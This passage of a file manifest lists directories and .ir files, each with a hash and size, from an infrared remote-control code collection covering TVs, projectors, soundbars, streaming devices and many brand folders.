-F:981c0f0bdd9532df291f36d905312c7d:1857:infrared/LED Lighting/BrandUnknown/Practical_Series_2.ir -F:3509afd89464a408c5e7aa8e8310723d:2139:infrared/LED Lighting/MonsterIlluminessence/MonsterIlluminessence_LED.ir -D:infrared/Miscellaneous/AMI -D:infrared/Miscellaneous/Hasbro -D:infrared/Miscellaneous/LG -D:infrared/Miscellaneous/LaserX -F:7729f722ce64f71693a7342e9a8e65f2:546:infrared/Miscellaneous/HDMI_Switch.ir -F:75322b841f4cccb99a49b2d15131e1c5:45:infrared/Miscellaneous/ReadMe.md -F:86ca4dfa685f0d03561463166e9705d1:483:infrared/Miscellaneous/AMI/AMI_Jukebox.ir -D:infrared/Miscellaneous/Hasbro/Furby -F:cc48ad650ad64316dbbfdf92ccd07a7b:11246:infrared/Miscellaneous/Hasbro/Furby/Furby.ir -F:28b9aa80da529f601b00fcfe73747b1b:1408:infrared/Miscellaneous/LG/LG.ir -F:d588253058e5e981e4e627331ff9109d:456:infrared/Miscellaneous/LaserX/LaserX_Tag.ir -D:infrared/Projectors/BenQ -D:infrared/Projectors/BrandUnknown -D:infrared/Projectors/Casio -D:infrared/Projectors/Da-Lite -D:infrared/Projectors/Dragonfly -D:infrared/Projectors/Epson -F:7274af18f1398bfdcba3eef27e1d9a93:557:infrared/Projectors/BenQ/BenQ.ir -F:0e105b594e97491c8d1b5149b3d2d507:1061:infrared/Projectors/BrandUnknown/LED Smart Home Theater Projector.ir -F:82e090bb0e8d82b6ff237d8e7ae2cee3:119:infrared/Projectors/BrandUnknown/README.md -F:948df7276fee7f0c20e285c85a1700f9:984:infrared/Projectors/BrandUnknown/Scrn_innov.ir -F:1082b46f593e4673de9ede5aefc9bbb1:2608:infrared/Projectors/BrandUnknown/Stlth_acou.ir -F:a0af1af37f404781d60bbe4cf313d162:1525:infrared/Projectors/Casio/Casio_YT-130.ir -F:3cb1be0f536a0a6160e35828905a20d3:984:infrared/Projectors/Da-Lite/Da-Lite_ProjectorScreen.ir -F:d92b34f3a7170e54afddc6731b49d6e1:3537:infrared/Projectors/Dragonfly/Dragonfly_Screen.ir -F:71767c67b0394773908c6cffeeab22e4:1595:infrared/Projectors/Epson/Epson.ir -D:infrared/SoundBars/Bose -D:infrared/SoundBars/BrandUnknown -D:infrared/SoundBars/Klipsch -D:infrared/SoundBars/Sony -D:infrared/SoundBars/Vizio -D:infrared/SoundBars/Yamaha -F:9073ffc1231ea1e4427fbfb0975bcf87:7312:infrared/SoundBars/Samsung.ir -F:18c2d78c768eddd9fe55b53a8e52cb4b:3980:infrared/SoundBars/Bose/Bose_Solo_2.ir -F:58556c883649cd3383b14174834d3b26:486:infrared/SoundBars/Bose/Bose_Solo_5.ir -F:18c2d78c768eddd9fe55b53a8e52cb4b:3980:infrared/SoundBars/Bose/Bose_Soundbar.ir -F:83f6ccdbdf32370fa4cf7afd651a6e0c:798:infrared/SoundBars/BrandUnknown/Amz_snd_bar.ir -F:cb5a9a382859ce07d68cc24a5f181a29:652:infrared/SoundBars/BrandUnknown/Soundblasterx.ir -F:ffee0f5c3871cc57051ca7aee2f1bb5d:886:infrared/SoundBars/Klipsch/Klipsch_Soundbar.ir -F:0db08de6575d9587cd73c13b490096ae:3001:infrared/SoundBars/Sony/Sony_MHC-GS300AV.ir -F:74fa5f6c842e70e451b9481c17b71b9c:379:infrared/SoundBars/Sony/Sony_Old_XBR.ir -F:3dec8c401d6bdbaa29195eca7e020a28:462:infrared/SoundBars/Sony/Sony_RDH-GTK33IP.ir -F:df77f812f9c006b4311024260d68692c:1226:infrared/SoundBars/Vizio/Vizio_Soundbar.ir -F:364eff5aa9a946efa188b084f2f94b19:1680:infrared/SoundBars/Yamaha/Yamaha_RX.ir -D:infrared/Streaming Devices/Apple -D:infrared/Streaming Devices/Roku -F:1e6f06b66e0b4955e408f1c9198f2898:584:infrared/Streaming Devices/Apple/Apple_TV.ir -F:8a10771a7803c76340c7268781480455:289:infrared/Streaming Devices/Roku/Jet_AFS-1000b.ir -F:ba96cf68fc19e2802def5d0a13276c5a:897:infrared/Streaming Devices/Roku/Roku.ir -F:4b3244bc0592b2b4b98837fa942387ce:894:infrared/Streaming Devices/Roku/Roku2.ir -F:422c029d78f15c417eccddc4a933a997:1429:infrared/Streaming Devices/Roku/Roku_Alternate.ir -D:infrared/TVs/Hisense -D:infrared/TVs/LG -D:infrared/TVs/NEC -D:infrared/TVs/Panasonic -D:infrared/TVs/Philips -D:infrared/TVs/Samsung -D:infrared/TVs/Sharp -D:infrared/TVs/Sony -D:infrared/TVs/Sunbrite -D:infrared/TVs/TCL -D:infrared/TVs/Toshiba -D:infrared/TVs/Vizio -D:infrared/TVs/Westinghouse -F:12705d395604262862a3558785d43900:1060:infrared/TVs/APEX LE4643T TV.ir -F:ebfe55932b90ec70fbf6c8b5f77d6d5e:1315:infrared/TVs/LG_55UN7300AUD.ir -F:9ab235cd80d35a984536040aab0fe9a6:1655:infrared/TVs/Hisense/Hisense_RokuTV.ir -F:b489b8d113de9b05cd5487434e979ce9:888:infrared/TVs/LG/LG_C1.ir -F:ac371e88aa7e629d2dbc5c43767f0fbd:19927:infrared/TVs/NEC/NEC.ir -F:ed1035363a609949f1f15e301824cfeb:23673:infrared/TVs/Panasonic/Panasonic_TC-P50S2.ir -F:772dfa581a1dac6bd19795652db95673:3618:infrared/TVs/Philips/Philips_32PFL4208T.ir -F:154a3ee989ee531f538ca422223f3968:4002:infrared/TVs/Samsung/Samsung.ir -F:37afe1a7cd8ffd78a7efb8e97605c829:1384:infrared/TVs/Samsung/Samsung_BN59.ir -F:549484147e6172da34ffc29d04cd4a6d:3958:infrared/TVs/Samsung/Samsung_BN5901301A.ir -F:655f9c446a64ef6a0bd0afd157d1b115:127:infrared/TVs/Samsung/Samsung_E6.ir -F:e30b19e19ebb9720d8dedc73c891a01b:1119:infrared/TVs/Samsung/Samsung_TV.ir -F:652fd6c4cfaf48b3d9e1717f9a301434:1795:infrared/TVs/Sharp/Sharp_Roku_TV.ir -F:158b4ed3702745b5b4e6d80ea13af8a1:896:infrared/TVs/Sony/Sony_Bravia.ir -F:313eb09138e3f1e082ce802a99177187:1048:infrared/TVs/Sony/Sony_XBR.ir -F:09a64606f74e9aaaa201e83859d8ee39:637:infrared/TVs/Sony/Sony_XBR_RMT-TX200U.ir -F:d9aa4555541367c56cd8ca0892e8f4a7:1118:infrared/TVs/Sunbrite/Sunbrite.ir -F:661fec66bc4b73c343d9e2617334911d:892:infrared/TVs/TCL/TCL_32S327.ir -F:1c4fd470eba9364fb0a958d9cc77e5ca:8715:infrared/TVs/TCL/TCL_UnknownModel1.ir -F:b8469a0575254674ea6ac9da046fcd12:990:infrared/TVs/TCL/TCL_UnknownModel2.ir -F:732f7a1913f8ea97e958bb57df8ca29e:543:infrared/TVs/Toshiba/Toshiba_32AV502U.ir -F:8cde98d701dcfd34f711d0850111d892:1464:infrared/TVs/Vizio/Vizio.ir -F:cbf4d9e2ef67c8244d62c5354f7217dd:1331:infrared/TVs/Westinghouse/Westinghouse.ir -D:infrared/_CSV-IRDB_/2wire -D:infrared/_CSV-IRDB_/3M -D:infrared/_CSV-IRDB_/ABIT -D:infrared/_CSV-IRDB_/ABS -D:infrared/_CSV-IRDB_/ADA -D:infrared/_CSV-IRDB_/ADB -D:infrared/_CSV-IRDB_/ADS -D:infrared/_CSV-IRDB_/AIM -D:infrared/_CSV-IRDB_/ANITECH -D:infrared/_CSV-IRDB_/AOC -D:infrared/_CSV-IRDB_/AccessHD -D:infrared/_CSV-IRDB_/AccessMedia -D:infrared/_CSV-IRDB_/Accupel -D:infrared/_CSV-IRDB_/Acer -D:infrared/_CSV-IRDB_/Acesonic -D:infrared/_CSV-IRDB_/Aconatic -D:infrared/_CSV-IRDB_/Acorp -D:infrared/_CSV-IRDB_/Adcom -D:infrared/_CSV-IRDB_/Adelphia -D:infrared/_CSV-IRDB_/Advanced Acoustics -D:infrared/_CSV-IRDB_/Aesthetix -D:infrared/_CSV-IRDB_/Airmate -D:infrared/_CSV-IRDB_/Aiwa -D:infrared/_CSV-IRDB_/Akai -D:infrared/_CSV-IRDB_/Antex Electronics -D:infrared/_CSV-IRDB_/Aopen -D:infrared/_CSV-IRDB_/Apex -D:infrared/_CSV-IRDB_/Apple -D:infrared/_CSV-IRDB_/Aragon -D:infrared/_CSV-IRDB_/Arcam -D:infrared/_CSV-IRDB_/Architectural Audio -D:infrared/_CSV-IRDB_/Aristona -D:infrared/_CSV-IRDB_/Arrakis Systems -D:infrared/_CSV-IRDB_/Askey -D:infrared/_CSV-IRDB_/Aspire Digital -D:infrared/_CSV-IRDB_/Astro -D:infrared/_CSV-IRDB_/Asus -D:infrared/_CSV-IRDB_/Aten -D:infrared/_CSV-IRDB_/Atlanta DTH -D:infrared/_CSV-IRDB_/Atlantic Technology -D:infrared/_CSV-IRDB_/Atlas -D:infrared/_CSV-IRDB_/Atlona -D:infrared/_CSV-IRDB_/Audio Access -D:infrared/_CSV-IRDB_/Audio Authority -D:infrared/_CSV-IRDB_/Audio Control -D:infrared/_CSV-IRDB_/Audio Refinement -D:infrared/_CSV-IRDB_/Audio Research -D:infrared/_CSV-IRDB_/AudioSource -D:infrared/_CSV-IRDB_/Audiola -D:infrared/_CSV-IRDB_/Audiovox -D:infrared/_CSV-IRDB_/Austar -D:infrared/_CSV-IRDB_/AutumnWave -D:infrared/_CSV-IRDB_/Avermedia -D:infrared/_CSV-IRDB_/Avex -D:infrared/_CSV-IRDB_/Avtoolbox -D:infrared/_CSV-IRDB_/Axion -D:infrared/_CSV-IRDB_/Axonix -D:infrared/_CSV-IRDB_/Ayre -D:infrared/_CSV-IRDB_/AzBox -D:infrared/_CSV-IRDB_/B.A.T -D:infrared/_CSV-IRDB_/BBK -D:infrared/_CSV-IRDB_/BORK -D:infrared/_CSV-IRDB_/BTX -D:infrared/_CSV-IRDB_/Bang Olufsen -D:infrared/_CSV-IRDB_/Barco -D:infrared/_CSV-IRDB_/Barix -D:infrared/_CSV-IRDB_/Beko -D:infrared/_CSV-IRDB_/Belkin -D:infrared/_CSV-IRDB_/Bell -D:infrared/_CSV-IRDB_/Bell ExpressVu -D:infrared/_CSV-IRDB_/Bellagio -D:infrared/_CSV-IRDB_/BenQ -D:infrared/_CSV-IRDB_/Bench -D:infrared/_CSV-IRDB_/Big Ben -D:infrared/_CSV-IRDB_/Bluesky -D:infrared/_CSV-IRDB_/BnK_Components -D:infrared/_CSV-IRDB_/Bogen -D:infrared/_CSV-IRDB_/Bose -D:infrared/_CSV-IRDB_/Boxlight -D:infrared/_CSV-IRDB_/Broksonic -D:infrared/_CSV-IRDB_/Busch-Jaeger -D:infrared/_CSV-IRDB_/Bush -D:infrared/_CSV-IRDB_/ByDesign -D:infrared/_CSV-IRDB_/CAT -D:infrared/_CSV-IRDB_/CIS BOX -D:infrared/_CSV-IRDB_/COSMEL -D:infrared/_CSV-IRDB_/Cables to Go -D:infrared/_CSV-IRDB_/Calrad -D:infrared/_CSV-IRDB_/Calypso -D:infrared/_CSV-IRDB_/Cambridge Audio -D:infrared/_CSV-IRDB_/Camera -D:infrared/_CSV-IRDB_/Canalsat -D:infrared/_CSV-IRDB_/Canon -D:infrared/_CSV-IRDB_/Captain -D:infrared/_CSV-IRDB_/Carver -D:infrared/_CSV-IRDB_/Cary Audio Design -D:infrared/_CSV-IRDB_/Casio -D:infrared/_CSV-IRDB_/Cce -D:infrared/_CSV-IRDB_/Celadon -D:infrared/_CSV-IRDB_/Centrum -D:infrared/_CSV-IRDB_/Century Concept -D:infrared/_CSV-IRDB_/Channel Master -D:infrared/_CSV-IRDB_/Channel Plus -D:infrared/_CSV-IRDB_/Chaparral -D:infrared/_CSV-IRDB_/Chief Manufacturing -D:infrared/_CSV-IRDB_/Cinemateq -D:infrared/_CSV-IRDB_/Cisco -D:infrared/_CSV-IRDB_/Citation -D:infrared/_CSV-IRDB_/Citizen -D:infrared/_CSV-IRDB_/Classe Audio -D:infrared/_CSV-IRDB_/Coby -D:infrared/_CSV-IRDB_/Colorado Vnet -D:infrared/_CSV-IRDB_/Comcast -D:infrared/_CSV-IRDB_/Commodore -D:infrared/_CSV-IRDB_/Compro -D:infrared/_CSV-IRDB_/Conrad -D:infrared/_CSV-IRDB_/Contour -D:infrared/_CSV-IRDB_/Cool Sat -D:infrared/_CSV-IRDB_/Coolsat -D:infrared/_CSV-IRDB_/Copland -D:infrared/_CSV-IRDB_/Corvo -D:infrared/_CSV-IRDB_/Cox -D:infrared/_CSV-IRDB_/Cph03x -D:infrared/_CSV-IRDB_/Creative -D:infrared/_CSV-IRDB_/Crestron -D:infrared/_CSV-IRDB_/Crown -D:infrared/_CSV-IRDB_/Curtis Electronics -D:infrared/_CSV-IRDB_/Curtis Mathes -D:infrared/_CSV-IRDB_/Cyberhome -D:infrared/_CSV-IRDB_/Cypress -D:infrared/_CSV-IRDB_/Cyron -D:infrared/_CSV-IRDB_/D-LINK -D:infrared/_CSV-IRDB_/DBPower -D:infrared/_CSV-IRDB_/DIFRNCE -D:infrared/_CSV-IRDB_/DK Digital -D:infrared/_CSV-IRDB_/DLO -D:infrared/_CSV-IRDB_/DSE -D:infrared/_CSV-IRDB_/DVDO -D:infrared/_CSV-IRDB_/DVICO -D:infrared/_CSV-IRDB_/Da Lite -D:infrared/_CSV-IRDB_/Daeumling -D:infrared/_CSV-IRDB_/Daewoo -D:infrared/_CSV-IRDB_/Dantax -D:infrared/_CSV-IRDB_/Dedicated Micros -D:infrared/_CSV-IRDB_/Dell -D:infrared/_CSV-IRDB_/Delphi -D:infrared/_CSV-IRDB_/Denon -D:infrared/_CSV-IRDB_/Denver -D:infrared/_CSV-IRDB_/Digiquest -D:infrared/_CSV-IRDB_/Digital Music Expres -D:infrared/_CSV-IRDB_/Digital Projection -D:infrared/_CSV-IRDB_/Digital Stream -D:infrared/_CSV-IRDB_/DigitalView -D:infrared/_CSV-IRDB_/DirecTV -D:infrared/_CSV-IRDB_/Dish Network -D:infrared/_CSV-IRDB_/Domland -D:infrared/_CSV-IRDB_/Draper -D:infrared/_CSV-IRDB_/Dream -D:infrared/_CSV-IRDB_/Dream Multimedia -D:infrared/_CSV-IRDB_/Dream Vision -D:infrared/_CSV-IRDB_/Durabrand -D:infrared/_CSV-IRDB_/Dwin -D:infrared/_CSV-IRDB_/Dynaudio -D:infrared/_CSV-IRDB_/Dynex -D:infrared/_CSV-IRDB_/E Max -D:infrared/_CSV-IRDB_/E-tech -D:infrared/_CSV-IRDB_/ELTASAT -D:infrared/_CSV-IRDB_/ENTONE -D:infrared/_CSV-IRDB_/Eagle Aspen -D:infrared/_CSV-IRDB_/Echostar -D:infrared/_CSV-IRDB_/Elan -D:infrared/_CSV-IRDB_/Electrocompaniet -D:infrared/_CSV-IRDB_/Electrokinetics -D:infrared/_CSV-IRDB_/Elenberg -D:infrared/_CSV-IRDB_/Elitron -D:infrared/_CSV-IRDB_/Elmo -D:infrared/_CSV-IRDB_/Emerson -D:infrared/_CSV-IRDB_/Epson -D:infrared/_CSV-IRDB_/Escient -D:infrared/_CSV-IRDB_/Esoteric Audio -D:infrared/_CSV-IRDB_/Euroconsumers -D:infrared/_CSV-IRDB_/Expressvu -D:infrared/_CSV-IRDB_/Extron -D:infrared/_CSV-IRDB_/FSC -D:infrared/_CSV-IRDB_/FTE Maximal -D:infrared/_CSV-IRDB_/FUBA -D:infrared/_CSV-IRDB_/FUNAI -D:infrared/_CSV-IRDB_/Fagor -D:infrared/_CSV-IRDB_/Falcon -D:infrared/_CSV-IRDB_/Faroudja -D:infrared/_CSV-IRDB_/Fast -D:infrared/_CSV-IRDB_/Fedders -D:infrared/_CSV-IRDB_/Fisher -D:infrared/_CSV-IRDB_/Fortec -D:infrared/_CSV-IRDB_/Fosgate -D:infrared/_CSV-IRDB_/Foxtel -D:infrared/_CSV-IRDB_/Free -D:infrared/_CSV-IRDB_/Freecom -D:infrared/_CSV-IRDB_/Fresat -D:infrared/_CSV-IRDB_/Friedrich -D:infrared/_CSV-IRDB_/Fujitsu -D:infrared/_CSV-IRDB_/Fujitsu Siemens -D:infrared/_CSV-IRDB_/Fujtech -D:infrared/_CSV-IRDB_/Fusion Research -D:infrared/_CSV-IRDB_/GAMEFACTORY -D:infrared/_CSV-IRDB_/GE -D:infrared/_CSV-IRDB_/GVC -D:infrared/_CSV-IRDB_/Galaxis -D:infrared/_CSV-IRDB_/Gefen Systems -D:infrared/_CSV-IRDB_/General -D:infrared/_CSV-IRDB_/General Electric -D:infrared/_CSV-IRDB_/General Instrument -D:infrared/_CSV-IRDB_/General Instruments -D:infrared/_CSV-IRDB_/Genesis -D:infrared/_CSV-IRDB_/Geniatech -D:infrared/_CSV-IRDB_/Genius -D:infrared/_CSV-IRDB_/Genus -D:infrared/_CSV-IRDB_/Gericom -D:infrared/_CSV-IRDB_/Get -D:infrared/_CSV-IRDB_/Gigabyte -D:infrared/_CSV-IRDB_/Go Video -D:infrared/_CSV-IRDB_/GoldStar -D:infrared/_CSV-IRDB_/Golden Interstar -D:infrared/_CSV-IRDB_/Goldmund -D:infrared/_CSV-IRDB_/Goodmans -D:infrared/_CSV-IRDB_/Govideo -D:infrared/_CSV-IRDB_/Gradiente -D:infrared/_CSV-IRDB_/Gran Prix -D:infrared/_CSV-IRDB_/Grand Tech -D:infrared/_CSV-IRDB_/Griffin -D:infrared/_CSV-IRDB_/Grundig -D:infrared/_CSV-IRDB_/Gryphon -D:infrared/_CSV-IRDB_/Guillemot -D:infrared/_CSV-IRDB_/HB -D:infrared/_CSV-IRDB_/HP -D:infrared/_CSV-IRDB_/HQ -D:infrared/_CSV-IRDB_/HQV -D:infrared/_CSV-IRDB_/Hama -D:infrared/_CSV-IRDB_/Hampton Bay -D:infrared/_CSV-IRDB_/Harman Kardon -D:infrared/_CSV-IRDB_/Harman Video -D:infrared/_CSV-IRDB_/Harmony -D:infrared/_CSV-IRDB_/Hauppauge -D:infrared/_CSV-IRDB_/Hello Kitty -D:infrared/_CSV-IRDB_/Herma -D:infrared/_CSV-IRDB_/Hermstedt -D:infrared/_CSV-IRDB_/Hewlett Packard -D:infrared/_CSV-IRDB_/Hinen Electronics -D:infrared/_CSV-IRDB_/Hip Interactive -D:infrared/_CSV-IRDB_/Hirschmann -D:infrared/_CSV-IRDB_/Hitachi -D:infrared/_CSV-IRDB_/Hiteker -D:infrared/_CSV-IRDB_/Hivion -D:infrared/_CSV-IRDB_/Hokkaido -D:infrared/_CSV-IRDB_/Homecast -D:infrared/_CSV-IRDB_/Hughes -D:infrared/_CSV-IRDB_/Humax -D:infrared/_CSV-IRDB_/Hyundai -D:infrared/_CSV-IRDB_/I-O Data -D:infrared/_CSV-IRDB_/I24 -D:infrared/_CSV-IRDB_/IR4PS3 -D:infrared/_CSV-IRDB_/ITT -D:infrared/_CSV-IRDB_/Illusion -D:infrared/_CSV-IRDB_/Imerge -D:infrared/_CSV-IRDB_/InFocus -D:infrared/_CSV-IRDB_/Insignia -D:infrared/_CSV-IRDB_/Instant Replay -D:infrared/_CSV-IRDB_/Integra -D:infrared/_CSV-IRDB_/IntelliNet Controls -D:infrared/_CSV-IRDB_/Interact -D:infrared/_CSV-IRDB_/Intervideo -D:infrared/_CSV-IRDB_/Intervision -D:infrared/_CSV-IRDB_/Irradio -D:infrared/_CSV-IRDB_/JBL -D:infrared/_CSV-IRDB_/JENSEN -D:infrared/_CSV-IRDB_/JVC -D:infrared/_CSV-IRDB_/Jamo -D:infrared/_CSV-IRDB_/Jerrold -D:infrared/_CSV-IRDB_/KAWA -D:infrared/_CSV-IRDB_/KENMORE -D:infrared/_CSV-IRDB_/KEY DIGITAL -D:infrared/_CSV-IRDB_/Kaleidescape -D:infrared/_CSV-IRDB_/Kaon -D:infrared/_CSV-IRDB_/Kathrein -D:infrared/_CSV-IRDB_/Kensington -D:infrared/_CSV-IRDB_/Kenwood -D:infrared/_CSV-IRDB_/Khl -D:infrared/_CSV-IRDB_/Kinergetics Research -D:infrared/_CSV-IRDB_/Kingbox -D:infrared/_CSV-IRDB_/Kiss -D:infrared/_CSV-IRDB_/Klipsch -D:infrared/_CSV-IRDB_/Knoll -D:infrared/_CSV-IRDB_/Konka -D:infrared/_CSV-IRDB_/Krell -D:infrared/_CSV-IRDB_/Kworld -D:infrared/_CSV-IRDB_/Kyocera -D:infrared/_CSV-IRDB_/L+S -D:infrared/_CSV-IRDB_/LEMON -D:infrared/_CSV-IRDB_/LG -D:infrared/_CSV-IRDB_/LP Morgan -D:infrared/_CSV-IRDB_/LXI -D:infrared/_CSV-IRDB_/Lacie -D:infrared/_CSV-IRDB_/Lasonic -D:infrared/_CSV-IRDB_/LeadTek -D:infrared/_CSV-IRDB_/Leadership -D:infrared/_CSV-IRDB_/Lenovo -D:infrared/_CSV-IRDB_/Lexicon -D:infrared/_CSV-IRDB_/Life-view -D:infrared/_CSV-IRDB_/Lifesat -D:infrared/_CSV-IRDB_/Lifetec -D:infrared/_CSV-IRDB_/Lightolier -D:infrared/_CSV-IRDB_/Linksys -D:infrared/_CSV-IRDB_/Linn -D:infrared/_CSV-IRDB_/LiteOn -D:infrared/_CSV-IRDB_/LiteTouch -D:infrared/_CSV-IRDB_/Loewe -D:infrared/_CSV-IRDB_/Logitech -D:infrared/_CSV-IRDB_/Lumagen -D:infrared/_CSV-IRDB_/Luxman -D:infrared/_CSV-IRDB_/Luxor -D:infrared/_CSV-IRDB_/M3 Electronic -D:infrared/_CSV-IRDB_/MAGIC LIGHTING -D:infrared/_CSV-IRDB_/MAGNASONIC -D:infrared/_CSV-IRDB_/MCL -D:infrared/_CSV-IRDB_/METRONIC -D:infrared/_CSV-IRDB_/MGA -D:infrared/_CSV-IRDB_/MIRO -D:infrared/_CSV-IRDB_/MISSION -D:infrared/_CSV-IRDB_/MS-Tech -D:infrared/_CSV-IRDB_/MSI -D:infrared/_CSV-IRDB_/Macro Image Technology -D:infrared/_CSV-IRDB_/Madrigal -D:infrared/_CSV-IRDB_/Magnavox -D:infrared/_CSV-IRDB_/Magnum -D:infrared/_CSV-IRDB_/Magnum Dynalab -D:infrared/_CSV-IRDB_/Majestic -D:infrared/_CSV-IRDB_/Makita -D:infrared/_CSV-IRDB_/Malata -D:infrared/_CSV-IRDB_/Manhattan -D:infrared/_CSV-IRDB_/Manta -D:infrared/_CSV-IRDB_/Marantz -D:infrared/_CSV-IRDB_/Mark -D:infrared/_CSV-IRDB_/Mark Levinson -D:infrared/_CSV-IRDB_/Mas -D:infrared/_CSV-IRDB_/Maxx -D:infrared/_CSV-IRDB_/McIntosh -D:infrared/_CSV-IRDB_/Medion -D:infrared/_CSV-IRDB_/Melectronic -D:infrared/_CSV-IRDB_/Meliconi -D:infrared/_CSV-IRDB_/Memorex -D:infrared/_CSV-IRDB_/Meridian -D:infrared/_CSV-IRDB_/Metronome -D:infrared/_CSV-IRDB_/Metrox -D:infrared/_CSV-IRDB_/Micromega -D:infrared/_CSV-IRDB_/Microsoft -D:infrared/_CSV-IRDB_/Midiland -D:infrared/_CSV-IRDB_/Mintek -D:infrared/_CSV-IRDB_/Mitochiba -D:infrared/_CSV-IRDB_/Mitsubishi -D:infrared/_CSV-IRDB_/Monoprice -D:infrared/_CSV-IRDB_/Morgans Daytona -D:infrared/_CSV-IRDB_/Motorola -D:infrared/_CSV-IRDB_/Multi Canal -D:infrared/_CSV-IRDB_/Multichoice -D:infrared/_CSV-IRDB_/Mustek -D:infrared/_CSV-IRDB_/Mvision -D:infrared/_CSV-IRDB_/Myryad -D:infrared/_CSV-IRDB_/NAD -D:infrared/_CSV-IRDB_/NEC -D:infrared/_CSV-IRDB_/NET TV -D:infrared/_CSV-IRDB_/NTL -D:infrared/_CSV-IRDB_/NVIDIA -D:infrared/_CSV-IRDB_/Nagra -D:infrared/_CSV-IRDB_/Nakamichi -D:infrared/_CSV-IRDB_/Napa -D:infrared/_CSV-IRDB_/Nebula Electronics -D:infrared/_CSV-IRDB_/Netgem -D:infrared/_CSV-IRDB_/Nextwave -D:infrared/_CSV-IRDB_/Nikko -D:infrared/_CSV-IRDB_/Niles Audio -D:infrared/_CSV-IRDB_/No Brand -D:infrared/_CSV-IRDB_/Nokia -D:infrared/_CSV-IRDB_/Norcent -D:infrared/_CSV-IRDB_/NorthQ -D:infrared/_CSV-IRDB_/Novaplex -D:infrared/_CSV-IRDB_/Now Broadband TV -D:infrared/_CSV-IRDB_/OSRAM -D:infrared/_CSV-IRDB_/Olevia -D:infrared/_CSV-IRDB_/Olympus -D:infrared/_CSV-IRDB_/One For All -D:infrared/_CSV-IRDB_/Onida -D:infrared/_CSV-IRDB_/Onkyo -D:infrared/_CSV-IRDB_/Onkyo Integra -D:infrared/_CSV-IRDB_/Optex -D:infrared/_CSV-IRDB_/PHAST -D:infrared/_CSV-IRDB_/PLU2 -D:infrared/_CSV-IRDB_/PS Audio -D:infrared/_CSV-IRDB_/Pace -D:infrared/_CSV-IRDB_/Packard Bell -D:infrared/_CSV-IRDB_/Palcom -D:infrared/_CSV-IRDB_/Panasonic -D:infrared/_CSV-IRDB_/Panda -D:infrared/_CSV-IRDB_/Pansat -D:infrared/_CSV-IRDB_/Parasound -D:infrared/_CSV-IRDB_/Peekton -D:infrared/_CSV-IRDB_/Philco -D:infrared/_CSV-IRDB_/Philips -D:infrared/_CSV-IRDB_/Phonotrend -D:infrared/_CSV-IRDB_/Pinnacle Systems -D:infrared/_CSV-IRDB_/Pioneer -D:infrared/_CSV-IRDB_/PixelView -D:infrared/_CSV-IRDB_/Polaroid -D:infrared/_CSV-IRDB_/Pragmatic -D:infrared/_CSV-IRDB_/ProPlay -D:infrared/_CSV-IRDB_/Proceed -D:infrared/_CSV-IRDB_/Proscan -D:infrared/_CSV-IRDB_/Protek -D:infrared/_CSV-IRDB_/Proton -D:infrared/_CSV-IRDB_/Provideo -D:infrared/_CSV-IRDB_/Provision -D:infrared/_CSV-IRDB_/QUADRAL -D:infrared/_CSV-IRDB_/Quasar -D:infrared/_CSV-IRDB_/RCA -D:infrared/_CSV-IRDB_/RSQ -D:infrared/_CSV-IRDB_/Radio Shack -D:infrared/_CSV-IRDB_/Radix -D:infrared/_CSV-IRDB_/Raite -D:infrared/_CSV-IRDB_/Ranex -D:infrared/_CSV-IRDB_/Re.x -D:infrared/_CSV-IRDB_/Recor -D:infrared/_CSV-IRDB_/Rega -D:infrared/_CSV-IRDB_/Replay Networks -D:infrared/_CSV-IRDB_/ReplayTV -D:infrared/_CSV-IRDB_/Revo -D:infrared/_CSV-IRDB_/Revoy -D:infrared/_CSV-IRDB_/Rio -D:infrared/_CSV-IRDB_/Roku -D:infrared/_CSV-IRDB_/Rolsen -D:infrared/_CSV-IRDB_/Rotel -D:infrared/_CSV-IRDB_/Rowa -D:infrared/_CSV-IRDB_/Runco -D:infrared/_CSV-IRDB_/Russound -D:infrared/_CSV-IRDB_/SAB -D:infrared/_CSV-IRDB_/SABA -D:infrared/_CSV-IRDB_/SEG -D:infrared/_CSV-IRDB_/ST -D:infrared/_CSV-IRDB_/STRONG -D:infrared/_CSV-IRDB_/SUPERSQNY -D:infrared/_CSV-IRDB_/SVEN -D:infrared/_CSV-IRDB_/Sagem -D:infrared/_CSV-IRDB_/Salora -D:infrared/_CSV-IRDB_/Samsung -D:infrared/_CSV-IRDB_/Samy -D:infrared/_CSV-IRDB_/Sansonic -D:infrared/_CSV-IRDB_/Sansui -D:infrared/_CSV-IRDB_/Sanyo -D:infrared/_CSV-IRDB_/Satelco -D:infrared/_CSV-IRDB_/Schneider -D:infrared/_CSV-IRDB_/Schwaiger -D:infrared/_CSV-IRDB_/Scientific Atlanta -D:infrared/_CSV-IRDB_/Scott -D:infrared/_CSV-IRDB_/Seleco -D:infrared/_CSV-IRDB_/Sencor -D:infrared/_CSV-IRDB_/Sgi -D:infrared/_CSV-IRDB_/Sharp -D:infrared/_CSV-IRDB_/Sharpsat -D:infrared/_CSV-IRDB_/Sherwood -D:infrared/_CSV-IRDB_/Shinco -D:infrared/_CSV-IRDB_/Shuttle -D:infrared/_CSV-IRDB_/Siemens -D:infrared/_CSV-IRDB_/Sigma Designs -D:infrared/_CSV-IRDB_/Sigmatek -D:infrared/_CSV-IRDB_/Silvercrest -D:infrared/_CSV-IRDB_/Sirius -D:infrared/_CSV-IRDB_/Sitronics -D:infrared/_CSV-IRDB_/Sky -D:infrared/_CSV-IRDB_/Skymaster -D:infrared/_CSV-IRDB_/Slim Art -D:infrared/_CSV-IRDB_/Slim Devices -D:infrared/_CSV-IRDB_/SnapStream -D:infrared/_CSV-IRDB_/Snazio -D:infrared/_CSV-IRDB_/Snell -D:infrared/_CSV-IRDB_/Sonance -D:infrared/_CSV-IRDB_/Sonicview -D:infrared/_CSV-IRDB_/Sony -D:infrared/_CSV-IRDB_/Speed-link -D:infrared/_CSV-IRDB_/Starsat -D:infrared/_CSV-IRDB_/Starview -D:infrared/_CSV-IRDB_/Streamzap -D:infrared/_CSV-IRDB_/Sumvision -D:infrared/_CSV-IRDB_/Sunfire -D:infrared/_CSV-IRDB_/Sungale -D:infrared/_CSV-IRDB_/Supermax -D:infrared/_CSV-IRDB_/Supportplus -D:infrared/_CSV-IRDB_/Syabas -D:infrared/_CSV-IRDB_/Symphonic -D:infrared/_CSV-IRDB_/TCM -D:infrared/_CSV-IRDB_/TCUAG -D:infrared/_CSV-IRDB_/TEAC -D:infrared/_CSV-IRDB_/TECHNICS -D:infrared/_CSV-IRDB_/TECHNISAT -D:infrared/_CSV-IRDB_/TELEFUNKEN -D:infrared/_CSV-IRDB_/TRIAX -D:infrared/_CSV-IRDB_/Tab Electronics -D:infrared/_CSV-IRDB_/Tangent 